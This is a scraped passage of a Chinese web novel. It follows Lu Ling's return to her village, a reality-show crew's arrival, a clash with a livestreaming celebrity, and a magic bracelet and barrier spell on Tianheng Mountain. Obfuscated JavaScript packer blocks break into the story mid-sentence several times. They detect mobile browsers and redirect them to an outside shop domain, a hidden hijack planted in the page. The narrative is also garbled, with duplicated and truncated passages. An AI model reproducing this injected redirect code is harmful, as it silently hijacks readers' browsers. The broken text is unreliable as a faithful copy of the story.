裴淼淼僵在原地,鹿翎那句冰冷刺骨的话一遍遍在她脑海里回荡。 “如果你真是我妹妹,那我也只会感到恶心。” 字字诛心,狠狠碾碎了她最后一点尊严和奢望。 裴淼淼崩溃,疯的一般朝门口扑去,用力吹打冰冷的门板,嘶吼声凄厉又扭曲,“鹿翎!我不会放过你的!绝对不会放过你的!” 恨意滔天,几乎扭曲了她整张脸庞。 她不甘心,凭什么鹿翎生来就拥有一切,而她辛苦得来的幸福,转眼就化为了泡影。 她靠着门板缓缓滑落,浑身颤抖,胸腔里的怒火与绝望交织,气得浑身发抖,牙齿咬得咯咯作响,眼底一片猩红。 她瘫坐在地,浑身抖得愈发厉害,却不是单纯的气急,脖颈不自觉地歪向一侧。 指尖以诡异的弧度蜷起,眼底的猩红里,多了几分不属于她的阴冷呆滞。 方才的疯癫嘶吼渐渐消弭,她缓缓抬起头,脸上没了表情。 唯有嘴角勾起一抹极淡、极诡异的弧度,眼神空洞又阴鸷。 周身萦绕着一股沉郁的寒气,整个人的气息都变得陌生无比。 可她自己,却浑然不觉,嘴里喃喃重复着,声音飘忽又阴森:“我会跟着你……一辈子……生生世世……纠缠不休……” 第90章:综艺拍摄 —— 余锦诗把行李箱放在后备箱,鹿翎等着她一起上车。 坐上车后,余锦诗温柔握紧她的手,“好了,咱们回家,以后安安稳稳上学,好好过日子,再也不用理会这些烂人烂事。” 鹿翎微微颔首,清冷的眼底,终于染上一抹温柔暖意。 出租车径直开往市区的客运中心,他们现在要做的是买客车票回乡下。 客运中心里人来人往,嘈杂却充满烟火气,余锦诗让鹿翎在一边等着,自己去买车票。 余锦诗走到自动售票机前,买了两张回钱龙镇,最早一班票。 鹿翎安静站在一边,看着母亲熟练的买票、拿票。 在等票的间隙,未明子给她发消息。 【老头子】:观内有我给你准备的礼物,你自己记得回去拿一下。 她没回。 刷票进站后,没过多久去往钱龙镇的客车变检票发车。 客车不算宽敞,座椅也略显陈旧。 余锦诗也好久没回去。 客车一路颠簸,穿过市区,驶过公路,渐渐踏上蜿蜒的乡间小路。 道路两旁是绿油油的稻田,和错落的农家,院落空气里弥漫着泥土与青草的味道。 远离了城市的喧嚣,这里的一切都显得格外宁静又美好。 鹿翎觉得自己还是适合待在乡下。 将近两个小时的车程,客车终于抵达钱龙镇。 天恒村离镇上不远,两人就打算走路回去。 离村子越来越近,还没走进,就看见村口有好几辆大型车辆,还有几个带着东西的人,不知道是干什么的。 而村口的老槐树下,聚着几个乘凉的村民,都是看着鹿翎长大的长辈。 眼尖的王婶最先瞥见她们,手中的叶子扇立马往石桌上一放,快步迎了上去。 “锦诗?哎呦,还真是你,你可算回来了!”王婶语气里满是惊喜,目光扫过两人,又疑惑地看向余锦诗。 “哎,不对呀,你怎么就跟小鹿一个人回来,老鹿和你那三个孩子咋没一起回来?” 话音刚落,旁边的李大爷,唐婆婆也都围了过来,脸上全是好奇与关切。 天恒村不大,家家户户都是都藏不住,当初鹿翎被裴家人接走,说是找回失散多年的女儿要去城里过好日子。 这件事,在村里是大事,大伙都记着。 可如今鹿翎和她一起回来,难免心生疑惑。 余锦诗牵着鹿翎的手紧了紧,脸上带着温和却疏离的笑,从容回应道,“他爸和孩子们城里事多,事业上忙得脱不开身,暂时就不回来了。” “小五在城里住不惯,我就把她接回来了。” 她没细说裴家的变故,也不愿提及那些糟心事,轻描淡写地带过。 村民们也都是聪明人,见她不愿多谈,就没再多问,只是笑着招呼她们回家,叮嘱道:“回来就好,村里清净,啥都方便,有啥事随时喊我们。” 鹿翎始终安静站在余锦诗身边,对着村民微微点头示意,脸上没有太多表情。 村民们也早已习惯她这副清冷性子,只当他是从小在山上道观待惯了,不爱说话。 反倒觉得这孩子沉稳懂事,没有丝毫城里人的傲气。 两人前脚刚走,后脚王大婶跺一跺脚,面上有些着急,“哎呀,你说我怎么就忘了!村长还说有事找未大师,结果未大师不在,要去问小鹿同不同意。” 身边王李大爷笑着说:“慌什么,万一现在村长在联系未大师呢?” 张婆婆撇了他们一眼,“你们怕是老糊涂了吧,小鹿都回来了,还联系未大师干嘛?” 两人一愣,似乎现在才反应过来。 —— 余锦诗和鹿翎刚走到自家小院门口,就看见一个中年男人站在门外,手上还拿着手机,脸色带着几分急切。 见到来人,立马迎了上去。 “小鹿,你总算是回来了,给你打电话死都不接。”村长有些气急,视线转移到旁边的余锦诗身上有些意外,“小余,你怎么也回来了?” 余锦诗笑了笑,“好久没回来了,就回来看看。” 鹿翎有点意外,“陈大叔,找我有什么事吗?” 村长没有拐弯抹角,直接开口道:“前几天城里来了一对节目组,看中咱们天恒村山清水秀,民风淳朴,想在村里取景拍摄一档村乡村生活综艺,打算长期驻留,拍摄一段时间。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555001|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但按照咱们村里的规矩,但凡有外来的人员,尤其是有很多人,都会惊扰山林灵意气场,凡事要先问一下未明子大师,得到大师应允,才可以让他们进来。” “一是怕外来人多杂乱,扰了村民的正常日子;二是大师能拿捏分寸,知道什么是对村里好,什么是有隐患,大伙都是打心底尊重他的想法,不为别的。” 他怕鹿翎误会,特地把规矩说得透彻。 天恒村早几十年并不安顺,自从未大师来了后,住在山里的道观上,村里才开始慢慢变好的。 “前几天我就拿着你给我画的符,上山找过未大师,但大门是关着的,门上还贴了张纸条,说是半个月前云游去了,没说什么时候回来,电话也打不通,根本联系不上。” “让我打电话问你的意见,结果你这丫头也不接电话,节目组那边催得紧,可没有你们的话,我也不敢随便应下。” 鹿翎没立刻回应,目光淡淡看向村口方向,那几辆大型车辆停在路边,人员还算安分没有侵扰村民,也没有随意走动。 她心里清楚,天恒村经济条件一般,若是能让节目组来拍摄,既能给村里带来一些收益,也能让外面的人知道这个小村子。 对村民来说是件好事,但前提是不能破坏村里的安静,不能打扰大家的生活。 她抬眼看向村长,“节目组有没有说具体在哪里拍?会不会影响村民种地,休息之类的?” “问过了,他们说只拍村口、稻田、山脚下这些公共地方,绝不进村民私宅,拍摄都在白天,避开大家下地干活的早间和傍晚,绝对不吵人。” “村口、稻田、山脚下……”她低声重复了一遍,随即抬眼看向村长,语气平静却带着几分考量,“他们拍摄的时间大概多久?现在正是田里秋播的关键时候,可不能耽误了村民种地。” 村长连忙点头,语气愈发恳切:“我也特意问了这事!节目组说刚好要拍乡村秋播的主题,全程跟着农时走。” “不光不耽误大家种地,还说会让嘉宾们跟着村里的乡亲们学播种、打理田地,主动搭把手帮忙干农活,绝不会瞎折腾。” 第91章:警告!不能去天恒山 他顿了顿,又补充道:“他们还说,要是需要用到几块稻田做拍摄场地,会按规矩给村民补偿,也会提前和涉及的农户商量,绝对不强行占地。” “而且拍摄期间,嘉宾们除了必要的拍摄,都会安安静静待着,不吵不闹,不打扰村里的日常,晚上也不会熬夜拍摄,影响大家休息。” “还有个事,”村长斟酌着开口,补充了节目组的另一个请求,“他们团队人不少,临时搭建的棚子只能放设备,嘉宾和工作人员总得有个落脚休息、换衣化妆的地方。” “村里普通农家院太小,住不下这么多人,他们打听得知村里有户人家早年在村头盖了栋小洋楼,一家人早就搬去城里定居,房子常年空着没人住。” “想问问能不能借这栋房子暂住,租金按照市场价给,绝对好好爱护房子,不损坏屋里的东西,等拍摄结束,把房子收拾干净再原样还回来。” 一旁的余锦诗轻轻拍了拍鹿翎的手,眼中带着默许的神色。 她看着这个生养自己的小村庄,也盼着村里能借着这次机会,多些起色。 鹿翎沉默片刻,心里已然有了盘算。 天恒村地处偏僻,常年没什么外来收入,年轻**多外出打工,只剩老人和孩子守着几亩薄田。 节目组来拍秋播综艺,既能给让出田地的村民带来实实在在的补偿,嘉宾们帮忙劳作,也能减轻乡亲们的负担。 村头那户的小洋楼空置已久,没人打理反倒容易荒废。 租给节目组既能拿到租金,也能有人照看房子,一举两得。 更何况借着镜头,还能让外面的人知道天恒村的好,往后说不定能引来更多机会,对村里来说,着实是利大于弊。 况且节目组行事规矩,没有贸然闯入惊扰村民,也没有破坏山林田地的气场,只要守好分寸,便不会有什么隐患。 想到这里,鹿翎看向村长,清冷的眉眼舒缓了几分,缓缓开口:“既然如此,那就应下吧,小洋楼的事,你也一并跟房主联系商议,按规矩来就行。” 村长瞬间松了口气,脸上的急切尽数散去,满是欣喜:“太好了小鹿!有你这句话,我就放心了!” “我这就去跟节目组说,让他们赶紧安顿下来,后续田地、租房的事,我挨家挨户去跟乡亲们商量,挑几块适合拍摄、又不影响大面积耕种的稻田,再联系小洋楼房主,绝对把事情办妥当!” “陈大叔,”鹿翎轻声叫住他,特意叮嘱,“你跟节目组再强调一遍,一切以村民的农时为先,他们帮忙可以,但必须听村里有经验的长辈指导,不能胡乱摆弄庄稼。” “借住的小洋楼也不许随意改造、破坏结构,若是有人扰了村民的生活,或是破坏了田地、山林,立刻让他们离开。” “对了,还有最重要的一件事,让他们不要随意进入天恒山,出事概不负责。” “放心放心!我一定把这话带到!”村长连连应下,握着手机的手都有些激动。 当即转身就往村口走去, 看着村长匆忙的背影,余锦诗笑着握紧鹿翎的手,推开了自家小院的木门:“好了,烦心事都解决了,咱们进屋收拾收拾,往后就在这里安安稳稳过日子。” 当即转身就往村口走去,打算去给节目组答复。 余锦诗笑着握紧鹿翎的手,推开了自家小院的木门。 鹿翎家就在马路边上。 是一栋三层高的小洋楼,宽敞大气,一旁单独辟出一间小房做厨房,格局规整又敞亮。 院子格外开阔,正中央长着一棵枝繁叶茂的大树,树下摆着石凳,还挂着一架旧秋千,满是烟火暖意。 院子侧边原本是鸡鸭鹅的圈舍,自从鹿翎去了江州,家里的禽畜便都卖了,圈舍也空了下来。 里面鹿父种了不少的果树。 从前这栋楼里住得热闹,外公外婆、爷爷奶奶,加上鹿翎父母,和鹿翎兄弟姐妹四人,一大家子人挤在一起。 外公外婆和爷爷奶奶本来是不住在这里,早些年几个老人家身体不好。 鹿父和余锦诗就修了这栋小洋楼,把他们接到一起生活,好照顾。 “好了,烦心事都解决了,咱们进屋收拾收拾,往后就在这里安安稳 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房子是早年村里最气派的一栋两层小楼,外墙贴的白色瓷砖,院子里种着两棵桂花树,枝繁叶茂,就是久无人住,落了层薄灰。 节目组导演围着房子转了两圈,满意点头,“就这儿了,位置偏,环境好,取景也方便。” 工作人员闻言,立刻拿出拍摄工具,准备架机拍摄。 而来拍综艺的嘉宾们已经准备好,拿出打扫工具,等拍摄时,把小洋楼打扫一遍。 村长在一旁反复叮嘱:“轻手轻脚的别碰坏屋里的东西,房主回来要原样交差的。” “还有,让他们不要往山上走,到时候出了事后果自负。” 导演连连应下,转头便把村长的叮嘱转达给了现场的嘉宾和工作人员。 再三强调拍摄与活动范围仅限村子、稻田一带,严禁任何人踏入天恒山半步。 这话刚落,人群里便传来一道疑惑的男声:“村长,为什么不能上山啊?” 第92章:搞直播 开口的是圈内小有名气的流量嘉宾林子轩。 他长相清秀,看着性子随和,此刻微微歪着头,眼神里满是好奇,可眼底深处却藏着几分探究。 周围的嘉宾也纷纷侧目。 天恒山远远望去山峦叠翠,绿意盎然,看着风景极佳,反倒被明令禁止靠近,难免让人心生疑惑。 村长脚步一顿,脸上的神情变得有些不自然,抬手挠了挠后脑勺,支支吾吾地含糊道:“没、没什么为啥,就是山里不安全,路陡林密,还有不少野物,你们都是城里来的,不熟悉山路,万一磕着碰着、遇上危险就不好了。” 他不清楚山里有什么没问题,只能拿安全当借口,语气里带着不容置疑的坚决:“总之你们听我的准没错,不管什么时候,都别往天恒山那边去,安安心心在村里拍节目就成。” 说完,村长怕再多说会露馅,连忙摆了摆手:“你们先忙着收拾,我还要去挨家挨户跟村民商量田地的事,就不陪你们了,切记千万别上山!” 不等众人再追问,村长便急匆匆转身离开,背影甚至带着几分落荒而逃的意味。 众人看着村长反常的模样,心里的疑惑更甚,却也不好再多问。 唯独刚才发问的林子轩,不动声色地眯了眯眼,眼珠子飞快转了转。 他打量着远处云雾缭绕的天恒山,眼神里闪过一丝不易察觉的深意。 村长越是这般遮遮掩掩,越是说明这天恒山藏着不为人知的秘密。 说不定是什么稀罕的景致,或是藏着能博眼球的话题。 若是能悄悄摸清一二,说不定能给自己的综艺表现赚足热度。 林子轩压下心底的盘算,面上依旧维持着温和好奇的模样,跟着其他嘉宾拿起打扫工具,开始对着镜头打扫起小洋楼。 只是那双眼睛,时不时便会瞟向远处的天恒山,暗自琢磨着时机。 另一边,鹿翎家的小院里,余锦诗正忙着整理房间。 她手脚麻利地归置好带来的行李,又把房间里的桌椅擦拭干净,转头便想起还没准备这几天的饭。 想着自己平时不在家,都是邻居照顾鹿翎,便打算晚上请平日里,她拜托照顾鹿翎的邻居,来家里吃顿饭。 余锦诗快步走到院子角落,推出那辆小巧,已经落满灰的白色小电动车。 灰尘擦干净,插上电源稳稳停在墙边充电,又回头对着屋里的鹿翎喊了一声:“小五,我充会儿电,等下骑电动车去街上买点菜和零食回来,晚上请邻居们吃个饭。” 屋里的鹿翎应了一声,没再多说,拿起扫帚和抹布开始打扫家里的卫生。 她动作利落,从客厅到院子,一点点清扫灰尘、整理杂物。 余锦诗看着电动车电量慢慢上涨,靠在墙边稍作等待。 鹿翎则专心收拾着屋子,小院里一派平和。 没过多久,电动车的充电指示灯是由红变绿,电量彻底充满。 余锦诗拔下充电器,朝着屋里又叮嘱一句,“我很快回来,你在家别乱跑。” 便骑着电动车,慢悠悠地朝村口开去。 等余锦诗声音彻底消失在家门口,鹿翎也刚好把家里彻底收拾妥当。 门窗透亮,地面洁净,杂物摆放得整整齐齐。 当然,这并不是她的功劳。 她用了点小术法。 不过也不是打扫全部,只是把有些够不到的地方打扫了,然后哥哥姐姐、爷爷奶奶房间里的地板拖干净。 她拍了快手上的灰尘,眼神微微一沉。 蓦然想起未明子给她发的消息。 礼物? 什么礼物? 她怎么不记得自己找未明子要过礼物? 不管了,既然是要准备给自己的,那就是自己的,等会上去看看就知道了。 鹿翎换了一身轻便的素色衣衫,远处看像极了那些网上说的道士。 简单竖起长发,确认家中门窗关好后,便轻手轻脚推开院门,打算绕开综艺拍摄队伍,悄悄前往天恒山。 可刚走出小院,走到马路边上,迎面就撞上一个她不想见到的人。 看穿搭,应该就是拍摄队伍其中的一个艺人。 是林子轩。 此时的林子轩,在大部队把洋房小楼打扫干净后,自己离开了大部队,一个人溜到村子深处。 他脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555003|204421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子里不断回想着村长说的天恒山。 越是遮遮掩掩,他心里的好奇就越重,顺便看看村里有没有值得拍摄的素材,避开节目组的跟拍镜头,独自开启了个人拍摄。 而这种拍摄,正是当下这档田园综艺允许的专属粉丝拍摄,也是节目组特意设定的规矩。 节目组之所以允许一人开启这种专属粉丝拍摄,一是贴合当下的流量趋势,借助一人自身的粉丝基础,提前为综艺预热造势。 二是为了精准维系粉丝群体,设置了粉丝专属权限。 既能保障粉丝的专属体验,又能避免拍摄内容提前泄露,影响综艺正片的播出效果。 林子轩的这场拍摄,只有他超话等级达到十级以上的真爱粉才能进入。 拍摄人数不算多,但活跃度极高,粉丝们都在好奇地看着镜头里的乡村景色,纷纷发起弹幕。 【哥哥怎么跑到这边来了?这边好像没看到节目组的人】 【村里的风景好原生态啊,比起那边的小洋楼有意思多了】 【哥哥是不是发现什么好玩的了?快带我们看看】 林子轩看着弹幕脸上依旧挂着随和温和的笑容,刻意放缓脚步,对着镜头,小声说道:“这边比较安静,我随便逛逛,看看村里风景。” 他说话的同时,眼神还在四处打量,完全没有留意鹿翎。 直到两人距离越来越近,林子轩才猛然回过神,抬头就对上了鹿翎的眼睛。 女孩站在马路边,身形高挑消瘦,穿着一身简单的素色衣裤,没有任何妆容修饰,却生得极其好看。 眉眼精致干净,气质疏离淡然,和圈里的女生截然不同,周深透着一股与这个乡村、甚至世俗都格格不入的空灵劲儿。 鹿翎也停下脚步,眉头微不可察地蹙了一下。 她认出眼前这人是来村里的综艺嘉宾,看出就心思深沉,绝非表面那般无害。 不想和这些外人扯上关系,更不想自己去天恒山的事被人发现,当即就打算侧身绕开。 可林子轩先一步反应过来,看着突然出现的清冷少女,眼底瞬间闪过一丝诧异,随即涌上算计。 第93章:被鹿翎骂了 他做流量艺人这么久,是最擅长捕捉到人博眼球的亮点。 眼前的女孩长相绝美,气质独特,在这偏僻的乡村突然出现本身就极具话题性。 若是能和她搭上话,拍摄间的热度必然会暴涨。 与此同时,拍摄间里的粉丝们也炸开了锅,弹幕瞬间刷屏。 【!!!哪来的神仙妹妹长得也太好看了吧!】 【这气质绝了,素颜都这么绝,比娱乐圈很多小娃都好看】 【哥哥偶遇村里的小姐姐吗?快搭话,快搭话!】 林子轩心中暗喜,面上却依旧保持着温和的笑意,主动开口打招呼,“你好,我是来这里拍综艺的常驻嘉宾,我叫林子轩,请问你是村里人吗?” 鹿翎脚步未停,神色平淡,没有丝毫要停留的意思。 只淡淡瞥了他一眼,一言不发,径直朝另一侧走去,完全无视了他的搭话。 她能清晰看到林子轩对着那个小小的拍摄设备,也能猜到他在拍摄。 更是不愿意与之有任何牵扯,只想尽快远离这里,赶往天恒山。 林子轩伸在半空的手僵住,脸上的笑容也顿了一下。 显然没料到会被如此无视,眼底闪过一丝尴尬,随即又被更深的探究取代。 这女孩太过奇怪,高冷的不像话,而且看她行走的方向,分明就是朝着天恒山的位置。 村长千叮咛万嘱咐,不让任何人靠近天恒山,这个村里的女孩偏偏要往那边去,这更加印证了他的猜想。 天恒山绝对有天大的秘密。 拍摄间的粉丝也觉察出了异样,弹幕纷纷议论起来。 【小姐姐好高冷啊,哈哈哈哈,哥哥被无视了】 【她是不是要去后面那座山啊?哥哥跟着她,我们一起去呗】 林子轩回应拍摄间,“不行,村长已经给我们说过,后面那座山是不能去的,是禁山。” 【那为什么她能去?跟着她去呗】 【怕什么啊?陆宗宇就是要敢闯才有看点,不然给谁看啊?】 林子轩看着暴涨的热度,心里的欲望彻底压住了村上的叮嘱。 所谓的禁忌,在流量和热度面前根本不值一提。 只要能抓住这个话题,他就能靠着这波热度狠狠圈一波粉,也算能稳固一下自己的地位。 他故作犹豫地皱了皱眉,对着镜头,与语气带着几分为难,却又恰到勾起粉丝的好奇心,“大家别着急,村长不让我们去天恒山应该是有原因的,贸然进去不太好...” 话虽然这么说,他却缓缓挪动脚步,目光使终追随着鹿翎的背影,一副被观众劝说的动摇了的模样。 果不其然,他这幅状态瞬间让拍摄间的粉丝更加激动,弹幕刷的更快,礼物也接连不断的刷屏。 所有人都在催着他跟上,一探究竟。 而另一边,鹿翎早已走出了一段距离,她耳廓微动,将身后林子轩的小动作和说话声听得一清二楚。 她皱了皱眉,眼底闪过一丝不耐。 本想摆脱他,可身后的脚步声非但没有散去,反而愈发接近。 显然这个人是非要跟着自己一起了。 “等一下,请你等一等!” 林子轩终究是抵不住自己的好奇心,快步追了上去,声音里带着刻意伪装的急切,周然不顾鹿翎周身散发的疏离感。 鹿翎猛然驻足,缓缓转过身,清冷的眸光如寒润般扫向林子轩,没有丝毫温度。 她站在不远处,身姿高挑挺拔,明明是纤瘦的身影,却自带一股让人不敢直视的威压,瞬间让冲上前的林子轩,僵在原地,呼吸一滞。 林子轩强压下心头,莫名的慌乱,依旧摆出温和友善的模样,试图开口:“这位小姐,天恒山村长说不能进去,你一个人上山说不定有危险,不太稳妥,不如...” “跟你没关系。” 鹿翎冷声打断他后面想说的话,无非是有两点。 一是,想要和她一起上山,保护自己。 二是,不让自己上山。 怎么来说,鹿翎也偏向第一种。 她声音清冽如冰珠落地,“我最后说一次,立刻带着你的设备原路返回,不准再靠近天恒山半步。” 鹿翎这话没有给林子轩半点脸面,被清晰的路进他的拍摄间里。 原本还在刷屏催着林子轩上前的弹幕,在听到鹿翎冰冷的呵斥后瞬间炸了锅。 粉丝当即被激怒,密密麻麻的愤怒弹幕瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只能死死攥紧拳头,强压下心头的怒火,深吸口气,勉强扯出一抹笑容。 “不好意思,那我先走了。” 鹿翎没说话,只是收回视线,转身朝山上走去。 林子轩看着鹿翎离开的背影,那抹勉强的笑意,立马垮了下来,眼底被寒意取代,垂在身侧的拳头暗暗捏紧。 第94章:千年雷击木手镯 鹿翎步履轻快,避开山间杂乱的枝丫,沿着熟悉的小径往山顶道观上走。 山间草木遮天蔽日,雾气氤氲,周遭只有风吹动树叶的沙沙声。 而她的心境也随之沉浸下来。 师父未明子离开之前,给她发的消息,也挺好奇的。 这老头,给她准备的究竟是什么礼物。 不过片刻,她便抵达山顶的青云观。 道观木门紧闭,门上贴着的云游字条还在,院落里干干净净,显然是师父离开前,特意收拾过的。 鹿翎抬手推开木门,径直走进道馆内,殿内香烟袅袅,虽无供奉的香火,却依旧气场庄严。 正殿中央的供台上,静静供奉着几尊道家仙身塑像。 身形威仪,气韵超凡,皆是玄门中地位尊崇的道祖与先贤,周身萦绕着淡淡的祥和灵气。 让人望之便心生敬畏,不敢肆意喧哗。 鹿翎收敛周身冷冽气场,神色变得庄重肃穆。 她缓步走到供台前,微微俯身,双手抱拳,毕恭毕敬地对着殿内供奉的仙身躬身拜见。 动作沉稳规整,尽显对道家先贤的敬重。 行礼完毕,她才抬眼看向供台一侧,那里放着一个古朴的木盒,想来便是未明子口中所说的礼物。 她走上前,轻轻打开木盒。 刹那间,一股醇厚凛冽、却又温润祥和的气息扑面而来。 木盒中静静躺着一只手镯,通体由千年雷击木雕琢而成。 木色深棕沉敛,纹理间缠绕着细密的天然雷纹,那是历经天雷劈炼才形成的印记。 手镯周身萦绕着淡淡的金光,灵气逼人,触手便有一股浑厚的正气顺着指尖蔓延至四肢百骸。 镇邪安魂,护脉守气,乃是世间难得的玄门至宝。 鹿翎抬手将雷击木镯取出,缓缓戴在左手腕上。 手镯大小恰好贴合肌肤,冰凉温润的触感瞬间蔓延开来,与她自身完美相融。 就在木镯彻底戴稳的那一刻。 天际骤然异变! 原本晴空**、云淡风轻的天空,不过瞬息之间,便从四面八方涌来黑压压的乌云。 云层厚重如墨,层层叠叠,以天恒山为中心,飞速翻涌汇聚。 不过片刻便遮蔽了整片天空,天地瞬间暗沉下来,如同夜幕提前降临。 厚重的乌云低低地压在山头,几乎要触碰到山顶的树梢,沉闷的气压铺天盖地席卷而来,压得人胸口发闷。 山间狂风骤起,吹得树枝疯狂摇摆,发出呼啸的声响。 周遭的空气仿佛都凝固了,一股难以言喻的强大压迫感,从天际倾泻而下,笼罩了整个天恒村与天恒山。 正在村里忙碌的节目组工作人员,原本还在整理拍摄设备、布置秋播拍摄场景。 骤然被这突如其来的天象惊得停下手中动作,纷纷抬头望向天空,一个个面露惊骇,眼神里满是难以置信。 “天呐!这天气怎么回事?刚才还好好的,怎么突然黑成这样!” “这云也太吓人了,压得这么低,感觉要塌下来一样,太压抑了!” “从来没见过这么诡异的天象,该不会是要下大暴雨了吧?” 村口的村民们也纷纷从家里、田地里跑出来,仰望着骤变的天色,满脸震惊与诧异。 看向天恒山的眼神里,多了几分敬畏。 他们世世代代住在山脚下,从未见过这般压迫感十足的黑云,心中都清楚,这定是与道观息息相关。 鹿翎站在道观庭院中,抬眸望着天际异象,神色依旧淡然,无半分慌乱。 她深知千年雷击木乃天地灵物,引动天地气机实属正常。 不过这么大的动静她还是第一次见。 鹿翎摸了摸下巴,低头看着手腕上的千年雷击木,拿出手机拍张照给未明子发过去。 【小五】:这千年雷击木你从哪找来的?还给我做成手镯了? 【小五】:你该不会是在外面做个亏心事,想送给礼物给我,让我摆平吧? 【小五】:【微笑.JPG】 鹿翎发完后,就收起手机,本来还以为未明子不会回,至少现在是不会回的。 但没想到这次这么快就回了。 还是和以往一样,打的电话。 “你这说的是哪话?我是哪种人吗?”未明子没有对手机屏幕欣赏自己的大脸,而是旁边放了面镜子,欣赏自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第95章:大哥可比他帅多了 这是未明子交给她的基础护山阵法之一,以山川地气为引,以自身灵气为媒,隐匿山体气息。 阻挡无关人等闯入,还能抵御邪祟侵扰。 眼下最适合用来护住天恒山,避免节目组和不知情的村民贸然上山冲撞了山间灵气与道观气场。 识海中,结界的布阵脉络、口诀咒文一字一句清晰无比。 从起阵的手印诀法,到落地的阵眼方位,再到引动地气的玄气运转路线,无一遗漏。 鹿翎缓缓睁眼,眸底掠过一抹清浅的玄光,周身气息骤然变得沉稳肃穆,周身萦绕着淡淡的灵气,与山间地气悄然相融。 她身姿高挑,站在山口,脑子中不断回想结印手法,双手也在快速结印。 指尖灵气流转,淡金色的微光顺着指尖缓缓溢出,手镯也在闪着微光,融入脚下的山川大地中。 风渐渐平息,山间的雾气顺着他周身的灵气缓缓聚拢,围绕着山口形成一圈无形的屏障。 鹿翎双唇轻启,声音清冽空灵,一字一句念出咒语:“山川为盾,灵气为墙,邪祟勿进,闲人莫闯,敕!” 咒语落下的刹那,她双手手印猛然一凝,指尖玄气迸发,顺着阵眼方位,钻进山间地底。 顷刻间肉眼难辨的淡金色光幕,以山口为中心,朝着整座天恒山蔓延开来。 光幕与山体完美融合,转瞬隐匿不见,仿佛从没出现过。 外人望去,天恒山依旧是寻常模样,可但凡想要贸然上山的人,都会被一道无形屏障给拦在山外。 鹿翎收手,确定结界稳固后,便离开了天恒山。 刚走到家门口,余锦诗就骑着小电瓶,拎着大包小包的东西回来了,取下头盔,把菜拎进去,“快去喊唐婆婆和贾叔叔,还有王婶,李大爷吃饭。” 鹿翎应了声,出门去找唐婆婆几人。 李大爷的房子在村口,走过去要两三分钟,刚好要经过拍摄综艺他们租的房子。 本来鹿翎是没觉得有什么的,但是她走过去的时候,原本还说话的工作人员在看见她来后,就不说话了。 视线还时不时在她身上打量,目光神色挺复杂的,不知道充满了什么。 最显眼的就是马路边上,被自己说回去的那个常驻嘉宾,好像叫什么...林子轩。 对,就叫林子轩。 他身边围满了人,在低头说着什么。 而他本人时不时叹气。 鹿翎瞥了一眼,走向李大爷的院子里。 把李大爷喊他答应后,她又去喊其他几位邻居。 日落西山,几个邻居陆续聚到鹿翎家,农家小院里摆上简单的木桌,余锦诗下厨,鹿翎帮忙,做了满满一桌子乡土家常菜。 几人围坐在一起吃饭,家里长家里短地聊着天。 唐婆婆不停给鹿翎夹菜,念叨他一个人在外瘦了,回到家就多吃点,贾叔叔和李大爷聊着村里的农事,王婶和余锦诗再聊的八卦。 吃饭的时候,余锦诗还提起节目组那边又派人来问,想确认明天拍摄的场地安排。 还特意说了明天一早会有三个特邀嘉宾抵达村子,加入田园秋播综艺的录制。 “怎么来这么多人?”唐婆婆有些不满。 村里人就已经够闹腾了,现在又来了这么多外人。 “可不是嘛,我下午去镇上买菜,听那些工作人员念叨,说来的都是电视上的大人物,一个个长得俊朗漂亮,咱们这穷乡僻壤还是头一回来这么多的明星。”唐婆婆抿了口鸡汤,慢悠悠接话。 余锦诗夹了筷子青菜,转头看向鹿翎。 鹿翎也下意识地和余锦诗对视一眼,她挑了挑眉,表示:你想说什么? 余锦诗耸肩,表示:我不想说什么。 鹿翎:行吧。 吃完饭后,按照以往的老规矩,鹿翎去洗碗。 余锦诗就和其他人走马路去。 一夜无梦,次日天刚蒙蒙亮,村里就变得喧闹起来。 综艺剧组的车队早早驶进村子,几辆看起来就价值不菲的商务车停在租赁的院子外,引得不少村民围过来看热闹。 鹿翎一早就跟着余锦诗去后院和前院的菜地里忙活。 村里的所有菜地都需要施肥,余锦诗找村民要了发酵好的农家肥。 鹿翎二话不说,肩上挑起扁担,去村民要农家肥去了。 也不嫌弃有臭味,认真挑肥,肃静的脸颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她有点搞不懂。 解决完另外两本婚书后,第三本婚书始终没有动静。 但为什么偏偏,她一回到小山村,就有了? 莫非是外来人员? 